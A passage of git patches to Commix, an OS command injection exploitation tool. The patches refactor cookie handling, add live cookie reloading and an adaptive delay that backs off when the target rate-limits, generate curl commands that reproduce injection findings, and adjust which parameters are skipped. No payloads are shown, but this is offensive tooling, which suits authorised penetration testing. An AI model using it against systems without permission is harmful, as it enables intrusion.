+""" +def handle_server_cookies(response): + + """ + Mask the middle part of long cookie values to avoid leaking sensitive data in prompts. + """ + def mask_cookie_value(cookie_str): + return re.sub( + r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", + r"\g<1>...\g<2>", + cookie_str + ) + + try: + set_cookie_header = [] + declared_cookies = set(c.split('=')[0].strip() for c in menu.options.cookie.split(settings.COOKIE_PARAM_DELIMITER)) if menu.options.cookie else set() + added_cookies = set() + for header, value in response.getheaders(): + if header.lower() == settings.SET_COOKIE.lower(): + _ = re.search(r'^\s*([^=;\s]+=[^;]*)', value) + if _: + name_value = _.group(1) + cookie_name = name_value.split("=")[0] + if cookie_name not in declared_cookies and cookie_name not in added_cookies: + set_cookie_header.append(name_value) + added_cookies.add(cookie_name) + + candidate = settings.COOKIE_PARAM_DELIMITER.join(str(value) for value in set_cookie_header) + + if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False: + settings.DECLARED_COOKIES = True + if settings.CRAWLED_SKIPPED_URLS_NUM != 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + if menu.options.cookie: + user_cookies_set = set([c.split('=')[0] for c in menu.options.cookie.split(settings.COOKIE_PARAM_DELIMITER)]) + if user_cookies_set: + while True: + message = "You declared some cookie(s), " + message += "but the server is setting additional ones ('" + message += mask_cookie_value(candidate) + message += "'). Do you want to merge them? [Y/n] " + merge_option = common.read_input(message, default="Y", check_batch=True) + if merge_option in settings.CHOICE_YES: + menu.options.cookie += settings.COOKIE_PARAM_DELIMITER + candidate + break + elif merge_option in settings.CHOICE_NO: + break + elif merge_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(merge_option) + pass + else: + menu.options.cookie += settings.COOKIE_PARAM_DELIMITER + candidate + settings.DECLARED_COOKIES = False + else: + while True: + message = "You have not declared any cookie(s), " + message += "but the server wants to set its own ('" + message += mask_cookie_value(candidate) + message += "'). Do you want to use those? [Y/n] " + set_cookies = common.read_input(message, default="Y", check_batch=True) + if set_cookies in settings.CHOICE_YES: + menu.options.cookie = candidate + break + elif set_cookies in settings.CHOICE_NO: + settings.DECLARED_COOKIES = False + break + elif set_cookies in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(set_cookies) + pass + except (AttributeError, KeyError, TypeError): + pass + +""" +Ignoring the Google analytics cookie parameter. +""" +def ignore_google_analytics_cookie(cookie): + if cookie.upper().startswith(settings.GOOGLE_ANALYTICS_COOKIE_PREFIX): + if (len(cookie.split("="))) == 2: + info_msg = "Ignoring the Google analytics cookie parameter '" + cookie.split("=")[0] + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return True + +# eof diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 2e86128b84..3fc2da6224 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -26,6 +26,7 @@ from src.utils import settings from src.core.injections.controller import checks from src.core.requests import proxy +from src.core.requests import cookies from src.core.requests import chunked from src.core.requests import redirection from src.core.requests import keepalive @@ -306,7 +307,7 @@ def https_open(self, req): response_headers = str(response_headers).strip(settings.END_LINE.LF) # Handle server-set cookies. if not menu.options.drop_set_cookie: - checks.handle_server_cookies(response) + cookies.handle_server_cookies(response) print_http_response(response_headers, code, page) # Checks regarding a potential CAPTCHA protection mechanism. checks.captcha_check(page) @@ -320,7 +321,7 @@ def https_open(self, req): # This is useful when handling exotic HTTP errors (i.e requests for authentication). except _urllib.error.HTTPError as err: if not menu.options.drop_set_cookie: - checks.handle_server_cookies(err) + cookies.handle_server_cookies(err) try: if getattr(err, 'fp', None) is None: raise AttributeError @@ -364,7 +365,7 @@ def https_open(self, req): except _urllib.error.URLError as err: if not menu.options.drop_set_cookie: - checks.handle_server_cookies(err) + cookies.handle_server_cookies(err) reason = str(getattr(err, 'reason', 'Unknown error')) reason_parts = reason.split(settings.SINGLE_WHITESPACE) if len(reason_parts) > 2: @@ -414,6 +415,10 @@ def do_check(request): request.add_unredirected_header(settings.TRANSFER_ENCODING, "chunked") # Check if defined any Cookie HTTP header. + # Whatever keeps the file up to date knows better than the value this run started with. + if menu.options.live_cookies and not settings.COOKIE_INJECTION: + menu.options.cookie = cookies.live_cookies() + if menu.options.cookie and not settings.COOKIE_INJECTION: request.add_header(settings.COOKIE, checks.remove_tags(menu.options.cookie)) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 43a870021f..1f510007e2 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -17,6 +17,7 @@ import json from src.utils import menu from src.utils import settings +from src.core.requests import cookies from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.flatten_json.flatten_json import flatten, unflatten_list @@ -743,7 +744,7 @@ def do_cookie_check(cookie): if checks.ignore_anticsrf_parameter(cookie): return cookie # Ignoring the Google analytics cookie parameter. - if checks.ignore_google_analytics_cookie(cookie): + if cookies.ignore_google_analytics_cookie(cookie): return cookie # Check for empty values (in provided parameters). if checks.is_empty(multi_parameters, http_request_method=settings.COOKIE): @@ -777,7 +778,7 @@ def do_cookie_check(cookie): all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue # Ignoring the Google analytics cookie parameter. - if checks.ignore_google_analytics_cookie(all_params[param]): + if cookies.ignore_google_analytics_cookie(all_params[param]): continue # Replace the value of parameter with INJECT tag if len(value) == 0: diff --git a/src/utils/menu.py b/src/utils/menu.py index 3da9d0cb31..79f1027ac9 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -251,6 +251,16 @@ def banner(): dest="cookie", help="HTTP Cookie header.") +request.add_option("--load-cookies", + action="store", + dest="load_cookies", + help="File containing cookies in Netscape/wget format.") + +request.add_option("--live-cookies", + action="store", + dest="live_cookies", + help="Live cookies file used for loading up-to-date values.") + request.add_option("--cookie-del", action="store", dest="cdel", diff --git a/src/utils/settings.py b/src/utils/settings.py index 25df89932c..f3f3c8be3f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -328,7 +328,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "116" +REVISION = "117" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1004,6 +1004,8 @@ class RetryTechniqueException(Exception): # Delimiter used to separate individual cookies in the Cookie HTTP header COOKIE_PARAM_DELIMITER = ";" +# Seconds spent waiting for the file of the '--live-cookies' option to hold something. +LIVE_COOKIES_TIMEOUT = 120 # Split parameter value PARAMETER_SPLITTING_REGEX = "," From d111b51d86e2bcdea0b5d3f93904773f561d2484 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 11 Sep 2026 06:24:24 +0300 Subject: [PATCH 0775/1023] Request delays now automatically increase when the target rate-limits and decrease once rate-limiting stops, while each identified injection point is now reported with a reproducible `curl` command --- doc/CHANGELOG.md | 2 + src/core/requests/headers.py | 4 +- src/core/requests/reproduce.py | 130 +++++++++++++++++++++++++++++++++ src/core/requests/requests.py | 4 + src/core/requests/stability.py | 27 +++++++ src/utils/logs.py | 17 ++++- src/utils/menu.py | 2 + src/utils/settings.py | 12 ++- 8 files changed, 193 insertions(+), 5 deletions(-) create mode 100644 src/core/requests/reproduce.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 9408a35cff..27c88d77a8 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,6 @@ ## Version 4.2 (TBA) +* Added: The delay between requests is raised by itself when the target starts rate-limiting, and lowered again once it stops. +* Added: Each identified injection point is now reported with a `curl` command that reproduces it. * Added: New `--load-cookies` option to load cookies from a file in Netscape/wget format. * Added: New `--live-cookies` option to re-read cookies from a file before every request, following a session that is refreshed elsewhere. * Added: The JSON report now records whether a WAF/IPS was detected and which evasion was applied. diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 3fc2da6224..93aed01cb4 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -129,8 +129,8 @@ def discover_digest_realm(url): Checking the HTTP Headers & HTTP/S Request. """ def check_http_traffic(request): - # Delay in seconds between each HTTP request - time.sleep(int(settings.DELAY)) + # Delay in seconds between each HTTP request, plus whatever backing off the target has earned. + time.sleep(int(settings.DELAY) + settings.ADAPTIVE_DELAY) if request.type == 'https': http_client = _http_client.HTTPSConnection else: diff --git a/src/core/requests/reproduce.py b/src/core/requests/reproduce.py new file mode 100644 index 0000000000..c6895c07ea --- /dev/null +++ b/src/core/requests/reproduce.py @@ -0,0 +1,130 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import menu +from src.utils import settings +from src.thirdparty.six.moves import urllib as _urllib + +""" +Wrap a value for a shell, so a payload full of quotes and dollar signs survives being pasted. +""" +def _quote(value): + return "'" + str(value).replace("'", "'\\''") + "'" + +""" +Split parameters into pairs and hand the payload to the one it was found on. The pairs are passed +to curl one by one, so the encoding of a payload full of '&' and '+' is curl's job, not a guess. +""" +def _parameter_arguments(data, vuln_parameter, payload): + arguments = [] + replaced = False + for pair in re.split(r"[" + re.escape(settings.URL_PARAM_DELIMITER + settings.POST_DATA_PARAM_DELIMITER) + r"]", data or ""): + if not pair: + continue + name = pair.split("=")[0] + if name == vuln_parameter and not replaced: + replaced = True + arguments += ["--data-urlencode", _quote(name + "=" + payload)] + else: + arguments += ["--data-urlencode", _quote(_urllib.parse.unquote(pair))] + return arguments, replaced + +""" +The header a payload was injected into, when it did not go into a parameter. +""" +def _injected_header(): + if settings.COOKIE_INJECTION: + return settings.COOKIE + if settings.USER_AGENT_INJECTION: + return settings.USER_AGENT + if settings.REFERER_INJECTION: + return settings.REFERER + if settings.HOST_INJECTION: + return settings.HOST + if settings.CUSTOM_HEADER_INJECTION: + return settings.CUSTOM_HEADER_NAME + return None + +""" +Build the command that reproduces a finding, so it can be confirmed without running commix again. +""" +def curl_command(url, http_request_method, vuln_parameter, payload): + try: + url = url or menu.options.url + if not url: + return "" + + payload = _urllib.parse.unquote(payload) + header_name = _injected_header() + parts = _urllib.parse.urlsplit(url) + parameters = [] + query_in_url = True + headers = [] + + if header_name: + # The payload rode in a header, so every parameter stays as it was. + headers.append(header_name + ": " + payload) + elif settings.USER_DEFINED_POST_DATA: + parameters, _ = _parameter_arguments(settings.USER_DEFINED_POST_DATA, vuln_parameter, payload) + else: + parameters, replaced = _parameter_arguments(parts.query, vuln_parameter, payload) + if replaced: + # curl rebuilds the query from the pairs, so the one already in the URL has to go. + url = _urllib.parse.urlunsplit(parts._replace(query="")) + query_in_url = False + else: + parameters = [] + + for name, value in ((settings.COOKIE, menu.options.cookie), (settings.USER_AGENT, menu.options.agent), \ + (settings.REFERER, menu.options.referer), (settings.HOST, menu.options.host)): + if value and name != header_name: + headers.append(name + ": " + value) + + if menu.options.headers: + for header in menu.options.headers.split(settings.END_LINE.ESCAPED_LF): + if header.strip() and header.strip() not in headers: + headers.append(header.strip().replace(":", ": ", 1).replace(": ", ": ")) + elif menu.options.header and menu.options.header.strip(): + headers.append(menu.options.header.strip()) + + command = ["curl", "-i", "-s"] + if parameters and query_in_url is False: + # Without this the pairs would be sent as a body, turning the request into a POST. + command.append("--get") + if http_request_method and http_request_method != settings.HTTPMETHOD.GET: + command += ["-X", http_request_method] + for header in headers: + command += ["-H", _quote(header)] + command += parameters + command.append(_quote(url)) + + return settings.SINGLE_WHITESPACE.join(command) + except Exception: + # A command that cannot be built is not worth failing a finished scan over. + return "" + +""" +What the reproduction cannot carry over from the scan, so it is not read as an exact replay. +""" +def curl_command_caveats(): + caveats = [] + if menu.options.chunked: + caveats.append("the request was sent chunked, which this command does not reproduce") + if menu.options.live_cookies: + caveats.append("the cookie was read live and may since have changed") + return caveats + +# eof diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index dfe0290d37..e004f9339c 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -373,6 +373,10 @@ def request_failed(err_msg): stability.mark_url_invalid() + # Pacing is answered on its own: being told to slow down holds whether or not a WAF is looked for. + if str(getattr(err_msg, "code", None)) in settings.WAF_BLOCK_HTTP_CODES: + stability.adapt_delay(blocked=True) + if not settings.FOLLOW_REDIRECT and getattr(err_msg, "code", None) in (301, 302, 303, 307): stability.mark_url_valid() return False diff --git a/src/core/requests/stability.py b/src/core/requests/stability.py index 937ecdd49f..985798586b 100644 --- a/src/core/requests/stability.py +++ b/src/core/requests/stability.py @@ -47,6 +47,31 @@ def connection_error_budget_exhausted(): """ Retry delay in seconds; 0 during timing attacks to avoid inflating exec_time. """ +""" +Back off when the target answers as if it has had enough of us, and creep back once it stops. +A time-related technique measures the very delay this changes, so it is left alone while one runs. +""" +def adapt_delay(blocked): + if settings.ADAPTIVE_DELAY_FROZEN: + return + if settings.TIME_RELATED_ATTACK: + # Freezing here, rather than skipping, keeps the baseline and the measurements comparable. + settings.ADAPTIVE_DELAY_FROZEN = True + return + + if blocked: + settings.ADAPTIVE_DELAY_STREAK = 0 + if settings.ADAPTIVE_DELAY < settings.MAX_ADAPTIVE_DELAY: + settings.ADAPTIVE_DELAY = min(settings.MAX_ADAPTIVE_DELAY, (settings.ADAPTIVE_DELAY * 2) or 1) + warn_msg = "The target is answering as if it is rate-limiting, so waiting " + warn_msg += str(settings.ADAPTIVE_DELAY) + " second" + "s"[settings.ADAPTIVE_DELAY == 1:] + " between requests." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + elif settings.ADAPTIVE_DELAY: + settings.ADAPTIVE_DELAY_STREAK += 1 + if settings.ADAPTIVE_DELAY_STREAK >= settings.ADAPTIVE_DELAY_RECOVERY: + settings.ADAPTIVE_DELAY_STREAK = 0 + settings.ADAPTIVE_DELAY -= 1 + def retry_delay_seconds(): return 0 if settings.TIME_RELATED_ATTACK else settings.DELAY_RETRY @@ -97,3 +122,5 @@ def mark_url_invalid(): """ def mark_url_valid(): settings.VALID_URL = True + # An answered request is the evidence that the backing off can start being given back. + adapt_delay(blocked=False) diff --git a/src/utils/logs.py b/src/utils/logs.py index 23e4d7f876..12c64da3ba 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -23,6 +23,7 @@ from src.utils import menu from src.utils import common from src.utils import settings +from src.core.requests import reproduce from src.utils import session_handler from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib @@ -201,15 +202,27 @@ def add_finding(filename, injection_type, technique, http_request_method, vuln_p payload = str(checks.url_decode(payload)).replace(settings.END_LINE.LF, settings.END_LINE.ESCAPED_LF) for line in checks.finding_summary_lines(technique, injection_type, payload, title): add_line(filename, settings.strip_ansi_codes(line), group="findings") + # Built here rather than when the report is written, since the cookies and headers move during a run. + command = reproduce.curl_command(menu.options.url, http_request_method, vuln_parameter, payload) + caveats = reproduce.curl_command_caveats() if command else [] + if command: + add_line(filename, settings.strip_ansi_codes(" " + settings.SUB_CONTENT_SIGN_TYPE + "Reproduce: " + command), group="findings") + for caveat in caveats: + add_line(filename, settings.strip_ansi_codes(" " + settings.SUB_CONTENT_SIGN_TYPE + "Note: " + caveat[0].upper() + caveat[1:] + "."), group="findings") if report_active(): - settings.REPORT_JSON.setdefault("findings", []).append({ + finding = { "parameter": vuln_parameter, "http_method": http_request_method, "technique": checks.summary_technique_label(technique), "type": injection_type[0].upper() + injection_type[1:], "boundary": title, "payload": payload, - }) + } + if command: + finding["reproduce"] = command + if caveats: + finding["reproduce_caveats"] = caveats + settings.REPORT_JSON.setdefault("findings", []).append(finding) """ Add any executed command and diff --git a/src/utils/menu.py b/src/utils/menu.py index 79f1027ac9..5a55d4cd0c 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -768,6 +768,8 @@ def _(self, *args): option = parser.get_option("-h") option.help = option.help.capitalize().replace("Show this help message and exit", "Show help and exit.") +# Listed by its short form alone, the way every other switch is, while '--help' keeps working. +option._long_opts = [] (options, args) = parser.parse_args() # Remember whether '--web-root' was explicitly supplied on the CLI diff --git a/src/utils/settings.py b/src/utils/settings.py index f3f3c8be3f..34ece6a037 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -328,7 +328,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "117" +REVISION = "118" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1494,6 +1494,16 @@ class PRIORITY(object): GATEWAY_TIMEOUT ] +# Seconds added to the delay between requests, when the target answers as if it has had enough. +ADAPTIVE_DELAY = 0 +# The delay stops moving once a time-related technique depends on it, since a delay that changed +# between the baseline and the measurements would read as the delay the payload was asked for. +ADAPTIVE_DELAY_FROZEN = False +# Where the backing off stops, and how many answered requests it takes to give a second back. +MAX_ADAPTIVE_DELAY = 8 +ADAPTIVE_DELAY_RECOVERY = 10 +ADAPTIVE_DELAY_STREAK = 0 + # HTTP status codes a WAF/IPS typically returns when it blocks a request. WAF_BLOCK_HTTP_CODES = [ FORBIDDEN_ERROR, NOT_ACCEPTABLE_ERROR, From 1b099235d6634dea0bb6139a1223bfe6e3cdde3c Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 11 Sep 2026 06:25:05 +0300 Subject: [PATCH 0776/1023] Trivial update --- src/utils/menu.py | 31 ++++++++++++++++++------------- src/utils/settings.py | 2 +- 2 files changed, 19 insertions(+), 14 deletions(-) diff --git a/src/utils/menu.py b/src/utils/menu.py index 5a55d4cd0c..7c8b142e73 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -67,11 +67,13 @@ def banner(): general.add_option("--version", action="store_true", dest="version", + default=False, help="Show version number and exit.") general.add_option("--update", action="store_true", dest="update", + default=False, help="Check for updates (apply if any) and exit.") general.add_option("--output-dir", @@ -88,11 +90,13 @@ def banner(): general.add_option("--flush-session", action="store_true", dest="flush_session", + default=False, help="Flush session files for current target.") general.add_option("--ignore-session", action="store_true", dest="ignore_session", + default=False, help="Ignore results stored in session file.") general.add_option("-t", @@ -133,6 +137,7 @@ def banner(): general.add_option("--check-internet", action="store_true", dest="check_internet", + default=False, help="Check internet connection before assessing the target.") general.add_option("--answers", @@ -241,6 +246,12 @@ def banner(): default=False, help="Use a randomly selected HTTP User-Agent header.") +request.add_option("--mobile", + action="store_true", + dest="mobile", + default=False, + help="Imitate smartphone through HTTP User-Agent header.") + request.add_option("--param-del", action="store", dest="pdel", @@ -370,6 +381,13 @@ def banner(): type="int", help="Retries when the connection timeouts (Default: " + str(settings.MAX_RETRIES) + ").") +request.add_option("--delay", + default=0, + action="store", + type="int", + dest="delay", + help="Seconds to delay between each HTTP request.") + request.add_option("--drop-set-cookie", action="store_true", dest="drop_set_cookie", @@ -571,13 +589,6 @@ def banner(): default=settings.MAXLEN, help="Set the max length of output for time-related injection techniques (Default: " + str(settings.MAXLEN) + " chars).") -injection.add_option("--delay", - default=0, - action="store", - type="int", - dest="delay", - help="Seconds to delay between each HTTP request.") - injection.add_option("--time-sec", default=0, action="store", @@ -707,12 +718,6 @@ def banner(): default=False, help="Skip heuristic detection of WAF/IPS protection.") -misc.add_option("--mobile", - action="store_true", - dest="mobile", - default=False, - help="Imitate smartphone through HTTP User-Agent header.") - misc.add_option("--offline", action="store_true", dest="offline", diff --git a/src/utils/settings.py b/src/utils/settings.py index 34ece6a037..6efcc3905b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -328,7 +328,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "118" +REVISION = "119" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d3f9b54d75eef114fab10096c9552b5f402c8514 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 11 Sep 2026 06:26:45 +0300 Subject: [PATCH 0777/1023] Parameter selection now correctly skips anti-CSRF and session/framework-state parameters unless explicitly requested, handles `--ignore-code` and multi-target retry behavior correctly, and improves recognition of anti-CSRF and Google Analytics parameters --- doc/CHANGELOG.md | 23 +++++++++------ src/core/injections/controller/checks.py | 37 ++++++++++++++++++++---- src/core/main.py | 8 ++--- src/core/requests/cookies.py | 2 +- src/core/requests/parameters.py | 12 ++++---- src/core/requests/redirection.py | 4 +-- src/core/requests/requests.py | 6 ++-- src/utils/menu.py | 3 ++ src/utils/settings.py | 16 ++++++++-- 9 files changed, 77 insertions(+), 34 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 27c88d77a8..8ae46f5a1f 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,9 @@ ## Version 4.2 (TBA) +* Fixed: A parameter given with `-p` no longer stops anti-CSRF parameters from being skipped everywhere else. +* Fixed: HTTP error codes met during a scan are no longer added to the list of codes given with `--ignore-code`. +* Added: Parameters holding session or framework state (e.g. "__VIEWSTATE", "PHPSESSID") are skipped unless asked for by name. +* Fixed: Recognition of anti-CSRF ("nonce") and Google Analytics ("_ga", "_gid", "_gat", "_gcl_au") parameters. +* Fixed: The reduced number of retries for multiple targets is applied again. * Added: The delay between requests is raised by itself when the target starts rate-limiting, and lowered again once it stops. * Added: Each identified injection point is now reported with a `curl` command that reproduces it. * Added: New `--load-cookies` option to load cookies from a file in Netscape/wget format. @@ -9,25 +14,25 @@ * Added: New `--scope` option to filter targets by regular expression. * Added: Support for testing multiple HTTP requests parsed from a single request or proxy log file. * Fixed: Request file parsing preserves multi-line bodies and original header names. -* Fixed: Only marked HTTP headers are tested, and GET/POST/cookie parameters named like a header (e.g. 'host') are no longer treated as headers. +* Fixed: Only marked HTTP headers are tested, and GET/POST/cookie parameters named like a header (e.g. "host") are no longer treated as headers. * Revised: Improved reliability across the supported injection techniques and modules, including out-of-band (OAST) detection and command execution support. * Added: New `-o` switch to turn on all optimization switches. -* Added: Persistent (Keep-Alive) connections are now used by default, with a new `--no-keep-alive' switch to opt out. +* Added: Persistent (Keep-Alive) connections are now used by default, with a new `--no-keep-alive` switch to opt out. * Added: New `download` and `upload` commands in the `os_shell` mode, to transfer files during shell interaction. -* Added: New `--report-json` switch to store run results to a JSON file. +* Added: New `--report-json` option to store run results to a JSON file. * Added: New `--abort-on-empty` switch to abort data retrieval on empty results. * Revised: Renamed `--alter-shell` to `--interpreter` for clarity. * Added: New `--os-shell` switch to directly request a command shell. -* Fixed: Improved crawling reliability against HTTPS targets. +* Revised: Improved crawling reliability against HTTPS targets. * Revised: Improved stdin parsing to stream targets for use with piped/chained input. -* Fixed: Improved detection engine reliability when choosing to continue testing. +* Revised: Improved detection engine reliability when choosing to continue testing. * Fixed: Improved heuristic detection reliability to reduce false positives. * Revised: Improved tamper script reliability, deterministic execution order, and encoding/whitespace handling for more accurate detection. * Revised: Improved crawled form handling, including interactive review before testing and correct parameter-type labeling. * Fixed: Improved bind/reverse TCP shell payload generation, port/host validation, and IPv6 handling. * Fixed: Improved tamper script handling reliability, including duplicate/invalid input and error handling. * Fixed: Improved encoding handling reliability to prevent unhandled Unicode errors during scans. -* Revised: Improved `--alter-shell` character extraction to bisect instead of scan linearly. +* Revised: Improved `--interpreter` character extraction to bisect instead of scan linearly. * Added: Dynamic parameter detection to identify parameters whose values change between requests. * Fixed: Time-related techniques persist the skip-testable-value optimization across resumed sessions. * Fixed: Benign patterns like `Accept: */*` are no longer misdetected as a custom injection marker. @@ -52,15 +57,15 @@ * Added: New `--forms` switch to parse and test forms on the target URL (requires `--crawl`). * Revised: Improved stored-session resume handling. * Revised: Improved parameter parsing and injection point detection across all supported request formats. -* Added: New `--threads` switch to support parallel data retrieval, reducing extraction time on supported techniques. +* Added: New `--threads` option to support parallel data retrieval, reducing extraction time on supported techniques. * Revised: Refactored time-related techniques (i.e. "time-based", "tempfile-based") to use binary search for character extraction. * Revised: Refactored `--tor` proxy handling to route HTTP traffic using the configured URL scheme. * Added: Spanish translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-es-ES.md). * Added: French translation of [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-fr-FR.md). * Removed: The local HTTP server functionality, previously used by the deprecated `--file-upload` option, has been removed. -* Revised: The deprecated `--file-upload` option has been removed, as `--file-write` provides nearly identical functionality. +* Removed: The deprecated `--file-upload` option has been removed, as `--file-write` provides nearly identical functionality. * Revised: Refactored `--time-sec` option to apply only to time-related techniques. -* Revised: The deprecated `--tor-check` switch has been removed, and Tor connectivity is now handled internally with no separate check option. +* Removed: The deprecated `--tor-check` switch has been removed, and Tor connectivity is now handled internally with no separate check option. * Revised: Improved handling of injectable parameters in JSON objects. * Revised: Refactored heuristic payload preprocessing to normalize randomized placeholders. * Added: Standardized JSON output formatting with 2-space indentation. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 157279cd3f..0a3d550f7c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -699,15 +699,30 @@ def value_inside_boundaries(parameter, http_request_method): """ Ignoring the anti-CSRF parameter(s). """ +def explicitly_testable(parameter): + # Asking for a parameter by name is asking for it to be tested, whatever it is called. + name = parameter.split("=")[0].strip().lower() + return any(name == _.split("=")[0].strip().lower() for _ in settings.TESTABLE_PARAMETERS_LIST) + def ignore_anticsrf_parameter(parameter): if any(parameter.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES): - if not any(parameter for token in settings.TESTABLE_PARAMETERS_LIST): + if not explicitly_testable(parameter): if (len(parameter.split("="))) == 2: info_msg = "Ignoring the parameter '" + parameter.split("=")[0] info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return True +""" +Ignoring the parameter(s) carrying session or framework state. +""" +def ignore_stateful_parameter(parameter): + name = parameter.split("=")[0].strip() + if name.upper() in settings.IGNORE_PARAMETERS and not explicitly_testable(parameter): + info_msg = "Ignoring the parameter '" + name + "' that appears to hold session or framework state." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return True + """ Adapt newline characters in the payload depending on injection settings and OS. """ @@ -1118,21 +1133,31 @@ def check_tcp_mode_result(option, other_mode): elif option == other_mode: return 3 +""" +Whether an HTTP error code is one the user chose to ignore, with '--ignore-code'. +""" +def ignored_http_error_code(code): + try: + return int(code) in [int(_) for _ in settings.IGNORE_CODE] + except (TypeError, ValueError): + return False + """ Ignore the error and continue testing; the choice is remembered for this code. """ def continue_tests(err): # Ignoring (problematic) HTTP error codes. - if len(settings.IGNORE_CODE) != 0 and any(str(x) in str(err).lower() for x in settings.IGNORE_CODE): + if ignored_http_error_code(getattr(err, "code", None)): return True # Possible WAF/IPS try: detect_waf(err.code) - warn_msg = "The web server responded with an HTTP error code '" + str(err.code) - warn_msg += "' which could interfere with the results of the tests." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - settings.IGNORE_CODE.append(err.code) + if int(err.code) not in settings.WARNED_HTTP_ERROR_CODES: + warn_msg = "The web server responded with an HTTP error code '" + str(err.code) + warn_msg += "' which could interfere with the results of the tests." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.WARNED_HTTP_ERROR_CODES.add(int(err.code)) return True except AttributeError: # No HTTP code (e.g. connection reset) - retry a bounded number of times. diff --git a/src/core/main.py b/src/core/main.py index 4c19f32add..1272901cd1 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -134,11 +134,11 @@ def user_agent(): """ def examine_request(request, url): # Retries when the connection timeouts. - if menu.options.retries: + if settings.USER_APPLIED_RETRIES: settings.MAX_RETRIES = menu.options.retries - else: - if settings.MULTI_TARGETS: - settings.MAX_RETRIES = 1 + elif settings.MULTI_TARGETS: + # Spending every retry on one unreachable host would hold up all the others. + settings.MAX_RETRIES = 1 try: response = headers.check_http_traffic(request) if response is not None: diff --git a/src/core/requests/cookies.py b/src/core/requests/cookies.py index 89e15031dc..3ba2b7ed43 100644 --- a/src/core/requests/cookies.py +++ b/src/core/requests/cookies.py @@ -170,7 +170,7 @@ def mask_cookie_value(cookie_str): Ignoring the Google analytics cookie parameter. """ def ignore_google_analytics_cookie(cookie): - if cookie.upper().startswith(settings.GOOGLE_ANALYTICS_COOKIE_PREFIX): + if re.search(settings.GOOGLE_ANALYTICS_COOKIE_REGEX, cookie): if (len(cookie.split("="))) == 2: info_msg = "Ignoring the Google analytics cookie parameter '" + cookie.split("=")[0] + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 1f510007e2..6d1d286202 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -180,7 +180,7 @@ def do_GET_check(url, http_request_method): # Check if defined the INJECT_TAG if settings.INJECT_TAG not in parameters: # Ignoring the anti-CSRF parameter(s). - if checks.ignore_anticsrf_parameter(parameters): + if checks.ignore_anticsrf_parameter(parameters) or checks.ignore_stateful_parameter(parameters): return urls_list if len(value) == 0: parameters = parameters + settings.INJECT_TAG @@ -202,7 +202,7 @@ def do_GET_check(url, http_request_method): # Grab the value of parameter. value = multi_params_get_value(all_params[param]) # Ignoring the anti-CSRF 